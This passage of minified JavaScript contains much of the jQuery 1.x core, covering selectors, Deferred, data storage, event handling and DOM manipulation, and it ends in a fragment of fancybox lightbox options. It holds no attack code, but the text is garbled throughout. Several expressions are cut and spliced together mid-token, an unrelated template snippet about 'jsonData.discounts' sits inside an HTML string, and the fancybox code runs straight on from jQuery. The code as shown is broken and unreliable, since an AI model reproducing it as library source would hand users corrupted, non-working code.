this.pushStack(n(a).filter(function(){for(b=0;e>b;b++)if(n.contains(d[b],this))return!0}));for(b=0;e>b;b++)n.find(a,d[b],c);return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+\" \"+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,\"string\"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a)return this;if(\"string\"==typeof a){if(c=\"<\"===a.charAt(0)&&\">\"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return y.find(a);this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?\"undefined\"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||\"string\"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?\"string\"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return n.dir(a,\"parentNode\",c)},next:function(a){return E(a,\"nextSibling\")},prev:function(a){return E(a,\"previousSibling\")},nextAll:function(a){return n.dir(a,\"nextSibling\")},prevAll:function(a){return n.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return n.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return n.dir(a,\"previousSibling\",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return\"Until\"!==a.slice(-5)&&(d=c),d&&\"string\"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a=\"string\"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++)if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);\"function\"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&\"string\"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1)h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return!i},fireWith:function(a,c){return!h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!d}};return k},n.extend({Deferred:function(a){var b=[[\"resolve\",\"done\",n.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",n.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",n.Callbacks(\"memory\")]],c=\"pending\",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+\"With\"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+\"With\"](this===e?d:this,arguments),this},e[f[0]+\"With\"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body)return setTimeout(n.ready);n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger(\"ready\").off(\"ready\"))}}});function J(){z.addEventListener?(z.removeEventListener(\"DOMContentLoaded\",K,!1),a.removeEventListener(\"load\",K,!1)):(z.detachEvent(\"onreadystatechange\",K),a.detachEvent(\"onload\",K))}function K(){(z.addEventListener||\"load\"===event.type||\"complete\"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),\"complete\"===z.readyState)setTimeout(n.ready);else if(z.addEventListener)z.addEventListener(\"DOMContentLoaded\",K,!1),a.addEventListener(\"load\",K,!1);else{z.attachEvent(\"onreadystatechange\",K),a.attachEvent(\"onload\",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll(\"left\")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}return I.promise(b)};var L=\"undefined\",M;for(M in n(l))break;l.ownLast=\"0\"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName(\"body\")[0];c&&(a=z.createElement(\"div\"),a.style.cssText=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\",b=z.createElement(\"div\"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText=\"border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1\",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement(\"div\");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+\" \").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute(\"classid\")===b};var N=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d=\"data-\"+b.replace(O,\"-$1\").toLowerCase();if(c=a.getAttribute(d),\"string\"==typeof c){try{c=\"true\"===c?!0:\"false\"===c?!1:\"null\"===c?null:+c+\"\"===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0}return c}function Q(a){var b;for(b in a)if((\"data\"!==b||!n.isEmptyObject(a[b]))&&\"toJSON\"!==b)return!1;return!0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||\"string\"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),(\"object\"==typeof b||\"function\"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),\"string\"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(\" \")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{\"applet \":!0,\"embed \":!0,\"object \":\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,\"parsedAttrs\"))){c=g.length;while(c--)d=g[c].name,0===d.indexOf(\"data-\")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]));n._data(f,\"parsedAttrs\",!0)}return e}return\"object\"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||\"fx\")+\"queue\",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||\"fx\";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};\"inprogress\"===e&&(e=c.shift(),d--),e&&(\"fx\"===b&&c.unshift(\"inprogress\"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+\"queueHooks\";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks(\"once memory\").add(function(){n._removeData(a,b+\"queue\"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return\"string\"!=typeof a&&(b=a,a=\"fx\",c--),arguments.lengthh;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement(\"div\"),c=z.createElement(\"input\");if(b.setAttribute(\"className\",\"t\"),b.innerHTML=\"
1x'+jsonData.discounts[i].name+'-'+jsonData.discounts[i].price+'' + delete_link + '
a\",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName(\"tbody\").length,l.htmlSerialize=!!b.getElementsByTagName(\"link\").length,l.html5Clone=\"<:nav>\"!==z.createElement(\"nav\").cloneNode(!0).outerHTML,c.type=\"checkbox\",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML=\"\",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML=\"\",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent(\"onclick\",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement(\"div\");for(b in{submit:!0,change:!0,focusin:!0})c=\"on\"+b,(l[b+\"Bubbles\"]=c in a)||(d.setAttribute(c,\"t\"),l[b+\"Bubbles\"]=d.attributes[c].expando===!1);d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\\.(.+)|)$/;function bb(){return!0}function cb(){return!1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||\"\").match(F)||[\"\"],h=b.length;while(h--)f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||\"\").split(\".\").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(\".\")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent(\"on\"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||\"\").match(F)||[\"\"],j=b.length;while(j--)if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||\"\").split(\".\").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp(\"(^|\\\\.)\"+p.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&(\"**\"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,\"events\"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,\"type\")?b.type:b,q=j.call(b,\"namespace\")?b.namespace.split(\".\"):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(\".\")>=0&&(q=p.split(\".\"),p=q.shift(),q.sort()),g=p.indexOf(\":\")<0&&\"on\"+p,b=b[n.expando]?b:new n.Event(p,\"object\"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join(\".\"),b.namespace_re=b.namespace?new RegExp(\"(^|\\\\.)\"+q.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),l=h;l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped())b.type=m>1?i:k.bindType||p,f=(n._data(h,\"events\")||{})[b.type]&&n._data(h,\"handle\"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault());if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,\"events\")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||\"click\"!==a.type))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||\"click\"!==a.type)){for(e=[],f=0;h>f;f++)d=b[f],c=d.selector+\" \",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d);e.length&&g.push({elem:i,handlers:e})}return h]\",\"i\"),ib=/^\\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,kb=/<([\\w:]+)/,lb=/\\s*$/g,sb={option:[1,\"\"],legend:[1,\"
\",\"
\"],area:[1,\"\",\"\"],param:[1,\"\",\"\"],thead:[1,\"\",\"
\"],tr:[2,\"\",\"
\"],col:[2,\"\",\"
\"],td:[3,\"\",\"
\"],_default:l.htmlSerialize?[0,\"\",\"\"]:[1,\"X
\",\"
\"]},tb=eb(z),ub=tb.appendChild(z.createElement(\"div\"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||\"*\"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||\"*\"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,\"table\")&&n.nodeName(11!==b.nodeType?b:b.firstChild,\"tr\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function yb(a){return a.type=(null!==n.find.attr(a,\"type\"))+\"/\"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute(\"type\"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,\"globalEval\",!b||n._data(b[d],\"globalEval\"))}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}\"script\"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):\"object\"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):\"input\"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):\"option\"===c?b.defaultSelected=b.selected=a.defaultSelected:(\"input\"===c||\"textarea\"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test(\"<\"+a.nodeName+\">\")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g)d[g]&&Cb(e,d[g]);if(b)if(c)for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++)Bb(e,d[g]);else Bb(a,f);return d=vb(f,\"script\"),d.length>0&&Ab(d,!i&&vb(a,\"script\")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++)if(f=a[q],f||0===f)if(\"object\"===n.type(f))n.merge(p,f.nodeType?[f]:f);else if(mb.test(f)){h=h||o.appendChild(b.createElement(\"div\")),i=(kb.exec(f)||[\"\",\"\"])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,\"<$1>\")+k[2],e=k[0];while(e--)h=h.lastChild;if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f=\"table\"!==i||lb.test(f)?\"\"!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)n.nodeName(j=f.childNodes[e],\"tbody\")&&!j.childNodes.length&&f.removeChild(j)}n.merge(p,h.childNodes),h.textContent=\"\";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,\"input\"),wb),q=0;while(f=p[q++])if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),\"script\"),g&&Ab(h),c)){e=0;while(f=h[e++])pb.test(f.type||\"\")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++)if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,\"script\")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,\"select\")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(gb,\"\"):void 0;if(!(\"string\"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||[\"\",\"\"])[1].toLowerCase()])){a=a.replace(jb,\"<$1>\");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&\"string\"==typeof p&&!l.checkClone&&ob.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,\"script\"),yb),f=g.length;k>j;j++)d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,\"script\"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++)d=g[j],pb.test(d.type||\"\")&&!n._data(d,\"globalEval\")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||\"\").replace(rb,\"\")));i=c=null}return this}}),n.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],\"display\");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),\"none\"!==c&&c||(Db=(Db||n(\"\",error:'

The requested content cannot be loaded.
Please try again later.

',closeBtn:'',next:'',prev:''},openEffect:\"fade\",openSpeed:250,openEasing:\"swing\",openOpacity:!0,openMethod:\"zoomIn\",closeEffect:\"fade\",closeSpeed:250,closeEasing:\"swing\",closeOpacity:!0,closeMethod:\"zoomOut\",nextEffect:\"elastic\",nextSpeed:250,nextEasing:\"swing\",nextMethod:\"changeIn\",prevEffect:\"elastic\",prevSpeed:250,prevEasing:\"swing\",prevMethod:\"changeOut\",helpers:{overlay:!0,title:!0},onCancel:f.noop,beforeLoad:f.noop,afterLoad:f.noop,beforeShow:f.noop,afterShow:f.noop,beforeChange:f.noop,beforeClose:f.noop,afterClose:f.noop},group:{},opts:{},previous:null,coming:null,current:null,isActive:!1,isOpen:!1,isOpened:!1,wrap:null,skin:null,outer:null,inner:null,player:{timer:null,isActive:!1},ajaxLoad:null,imgPreload:null,transitions:{},helpers:{},open:function(a,d){if(a&&(f.isPlainObject(d)||(d={}),!1!==b.close(!0)))return f.isArray(a)||(a=t(a)?f(a).get():[a]),f.each(a,function(e,c){var 